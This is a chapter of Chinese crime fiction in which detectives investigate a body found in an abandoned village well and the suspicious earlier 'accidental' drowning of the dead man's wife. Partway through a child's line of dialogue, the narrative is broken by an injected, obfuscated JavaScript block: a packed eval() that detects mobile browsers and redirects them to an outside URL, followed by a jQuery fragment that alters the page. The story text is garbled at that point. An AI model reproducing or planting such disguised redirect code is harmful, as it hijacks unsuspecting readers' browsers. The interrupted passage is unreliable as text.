春日的某天
蔡星澜弯腰钻过微微晃动的警戒带，白手套在午后温暖的日光下泛着一层冷淡的光。院子里的荒草划过她的裤腿，发出沙沙的轻响。
那口井就在院子中央。
青石井沿磨得发亮，边缘长着暗绿的苔藓。韩墨已经蹲在那儿了，深蓝色的勘查箱敞在脚边，里面工具码得整整齐齐，镊子、剪刀、尺规、证物袋，金属表面偶尔反射出刺眼的光。
“来了。”韩墨头也没抬，声音透过一次性口罩传出来，有点闷，“初步看，死了至少半年。雨水多，井水泡着，腐败加速。”
蔡星澜走到井边，那股气味立刻扑了上来，不是单纯的腐臭，还混着井水腥气、泥土味，还有一种难以形容的气息。她面不改色，目光落在井口那具肿胀变形的尸体上。
尸体面朝下浮着，衣服被水泡得胀开。头发黏在头皮上，已经看不出原本的颜色。
“三处伤。”韩墨手里的镊子轻轻点着空气，“后脑有重物撞击伤，应该是跌落井时磕在井壁上造成的；躯干有大面积淤伤和骨折，肋骨断了四根，脊椎也有损伤，符合从高处坠落、连续撞击井壁的特征。还有—”
他顿了一下，镊子移向尸体颈部。肿胀发黑的皮肤上，隐约能看到一圈细痕，颜色比周围略深。
“脖子上，一圈细勒痕。”韩墨的声音压低了些，“很浅，但边缘太规整了。你看这里—”他用镊子虚指一处，“弧度连续，没有中断。具体是什么材质、怎么弄上去的，得等回去细验。”
蔡星澜的目光从尸体上移开，缓缓扫向四周。
这院子不小，看得出早年是精心打理过的，东南角有棵老槐树，树下还摆着半张石桌；西边墙根残留着一排花坛的痕迹，只是如今早已被荒草淹没。杂草长得齐膝高，只在中间歪歪扭扭踩出几条泥径，通向那扇半掩的堂屋门。
门上的漆皮剥落得斑斑驳驳，屋里晦暗，能看见蛛网缠结，木窗框朽烂得快要散架。
到处积着厚厚的灰。
蔡星澜朝屋子走去，靴子踩在碎石上发出细碎的声响。喻宇跟在她身后，手里拿着相机，快门声在寂静的院子里显得格外清脆。
堂屋里空荡荡的，只有一张八仙桌靠墙放着，桌腿已经歪了。地面上的灰尘均匀地铺了一层，除了他们刚踩出的脚印，没有任何新鲜的痕迹。
卧室更简单—一张木板床紧贴墙壁，被褥霉烂成一团辨不出颜色的东西，散发着一股混合了馊味、霉味和灰尘的沉闷气息。床脚边倒着几个空酒坛子，其中一个被打碎了，陶片散在地上，边缘已经蒙了灰。
蔡星澜蹲下身，用手电照着那些酒坛。坛口很小，里面黑洞洞的，除了残余的酒气，什么都没有。
“很干净。”她站起身，拍了拍手套上的灰。
“太干净了。”喻宇接口道，镜头对准床底扫了一圈，“灰尘分布均匀，至少几个月没人进来过。”
厨房更空。灶台冷冰冰的，锅早就锈穿了底，碗橱里零星几个破碗，都积着厚厚的灰。蔡星澜打开水缸，里面是半缸浑浊的雨水，漂着几只死虫子。
没有任何打斗的痕迹。
就像这个人凭空出现在井里，或者……从井底浮出来的一样。
“凶器会在哪儿呢？”蔡星澜心里泛起疑惑。
她走出屋子，重新回到院子里。警戒线外已经围了二十多个村民，男女老少都有，都伸着脖子往这边看，压抑的议论声嗡嗡地传过来：
“我就说这地方邪性……看，真出事了。”
“死了多久了？脸都看不清……”
“该不会是汪顺吧？这么多年没影儿了。”
“这屋子早些年不就是他们家的？唉，作孽啊……”
“慧芳会不会……”
最后半句突然刹住，像是被人捂住了嘴。
蔡星澜目光一凝，转身朝警戒线走去。她脚步很轻，但原本交头接耳的村民却像被掐住了声儿，瞬间安静了不少。前排几个人下意识地往后缩了缩，眼神也跟着躲闪。
“汪顺？”蔡星澜问，声音不高，但清晰，“汪顺是谁？”
人群静了一瞬。一个皮肤黝黑、约莫五十岁上下的男人局促地搓了搓手，眼神飘向旁边又赶紧收回来，喉结动了动：“这、这屋子的主人……就叫汪顺。他……他以前当过我们村的村长，好多年前的事了。”
“后来呢？”
“后来……”男人咽了口唾沫，“他老婆，叫陈慧芳……慧芳她，唉，命苦，多年前遭了不幸，人没了。那之后汪顺整个人就垮了，天天抱着酒坛子，魂都没了似的，也不管村里的事了。再后来……人就不见了。我们还猜，是不是哪天醉倒在哪条沟里了，没想到……”
“陈慧芳遭遇了什么不幸？”蔡星澜追问，视线锁着他。
那男人却像被什么噎住了，连同周围几个人，脸色都明显变了变。几个妇女互相使眼色，一个老太太悄悄在胸口画了个十字，尽管这村子里并没有教堂。
“就……就是不幸。”男人含糊道，眼睛盯着自己的鞋尖，“都是命……过去的事了，警察同志，真的，都过去好多年了……”
“怎么死的？”喻宇插进来问，笔尖悬在记录本上。
人群一阵骚动。有人开始往后挪脚步，有人扭头假装看别处。那个男人额头沁出了汗，在午后的阳光下亮晶晶的。
“是……是意外。”他终于挤出一句，声音干巴巴的，“失足，对，失足掉河里了。那时候雨大，河水涨得老高……捞上来都没法看了。”
他说完这话，整个人像松了口气，但眼神里的躲闪更明显了。
蔡星澜和喻宇交换了一个眼神。
接下来他们在村里走了一圈，挨家挨户地问。村民们倒是愿意聊汪顺，说他早年当村长时还挺能干，修过路，引过自来水；说他老婆陈慧芳长得秀气，说话细声细气的；说他们两口子原本感情不错，后来不知怎么的，汪顺开始喝酒，越喝越凶。
但只要话题一转到陈慧芳的死因，气氛立刻就变了。
要么讳莫如深，摆摆手匆匆走开；要么干脆说“不晓得，那时候我不在村里”；有个老太太甚至直接关了门，隔着门板说：“人都没了，还问这些做啥子哟！”
直到他们走到村东头，快要离开时，一个原本跑在前头的小男孩忽然停下来，回过头。
这孩子约莫七八岁，穿着洗得发白的T恤，眼睛又大又亮。他盯着蔡星澜和喻宇看了几秒，然后脆生生地问：
“警察叔叔阿姨，慧芳姨会回来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115706|193854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
索命吗？”
蔡星澜心里一动，蹲下身，视线与他齐平：“为什么觉得慧芳阿姨要索命呢？”
“因为大家都这么说呀。”男孩眨眨眼，带着孩童复述大人话语时的直白，“汪顺叔叔对慧芳阿姨不好。我妈妈说，亡魂会找对自己不好的人，尤其是在……在冤死的时候。”
“冤死？”喻宇捕捉到了这个词。
男孩点点头，正要再说什么，远处突然传来一声急促的呼喊：“阳阳！回来！”
一个系着围裙的妇女快步跑来，一把拉住男孩的手，脸色发白地对蔡星澜说：“对不起啊警察同志，小孩子乱讲话……”说完几乎是把孩子拖走了。
男孩被拉着走，还回头看了他们一眼，那双清澈的眼睛里，有什么东西一闪而过。
蔡星澜站起身，看着母子俩远去的背影。
“喻宇。”
“嗯？”
“去找村里其他孩子问问。”她声音很轻，“一样的问题。”
结果令人心惊。
他们又问了三四个孩子，最小的六岁，最大的不过十岁。回答惊人地雷同—
“妈妈说慧芳阿姨死得冤。”
“奶奶说，枉死的人会留在死的地方。”
“汪顺叔叔打她，我听见的。”
“井里有声音，晚上。”
所有的回答都指向同一个方向：在这个村子里，陈慧芳的死不是简单的意外，而汪顺，可能是导致她死亡的人。
可为什么大人们都闭口不谈？
为什么所有的记录里，陈慧芳都是“意外溺亡”？
蔡星澜站在村口的老槐树下，回头望向那座荒废的院落。
这个村子，有秘密。
她摸出手机，给队里发了条信息：“死者疑似前任村长汪顺，颈部有可疑勒痕。其妻陈慧芳数年前‘意外’溺亡，村民反应异常。建议并案调查。”
发送。
几乎就在同时，手机震动起来。是杨光辉。
“星澜，你们还在白溪村？”
“在，正准备回。”
“先别回。”杨光辉的声音透过听筒传来，带着纸张翻动的哗啦声，“我刚调了陈慧芳的旧案卷—档案太干净了，干净得不正常。你们在那儿再查查，尤其是……问问村里老人，关于那口井的传说。”
“井的传说？”
“嗯。”杨光辉顿了顿，“我查到一点东西，但不全。据说那口井，早年接连死过人。”
时间倒退回数小时前。
市局刑侦支队办公室里，灯光亮白，混着纸张翻动的哗啦声和键盘敲击的细响。潘铮放下手里那本边缘已经泛黄卷起的旧案卷，抓起骤然响起的老式座机听筒。
她听了片刻，眉头很快锁紧，利落地转身，朝办公室里几个正整理东西、准备换班下队的同事吩咐：
“白溪村，老井里发现一具高度腐败的男尸。星澜，喻宇，你们手头没急活，跑一趟现场，先看看。”
“明白，铮姐。”
报案的是村里几个半大孩子。天刚放晴，结伴去那荒废的旧院“探险”，最近连绵的雨水，井水涨了上来，一具浮沉肿胀、面目难辨的尸体，就这么毫无预兆地，撞进了他们吓得几乎僵住的瞳孔里。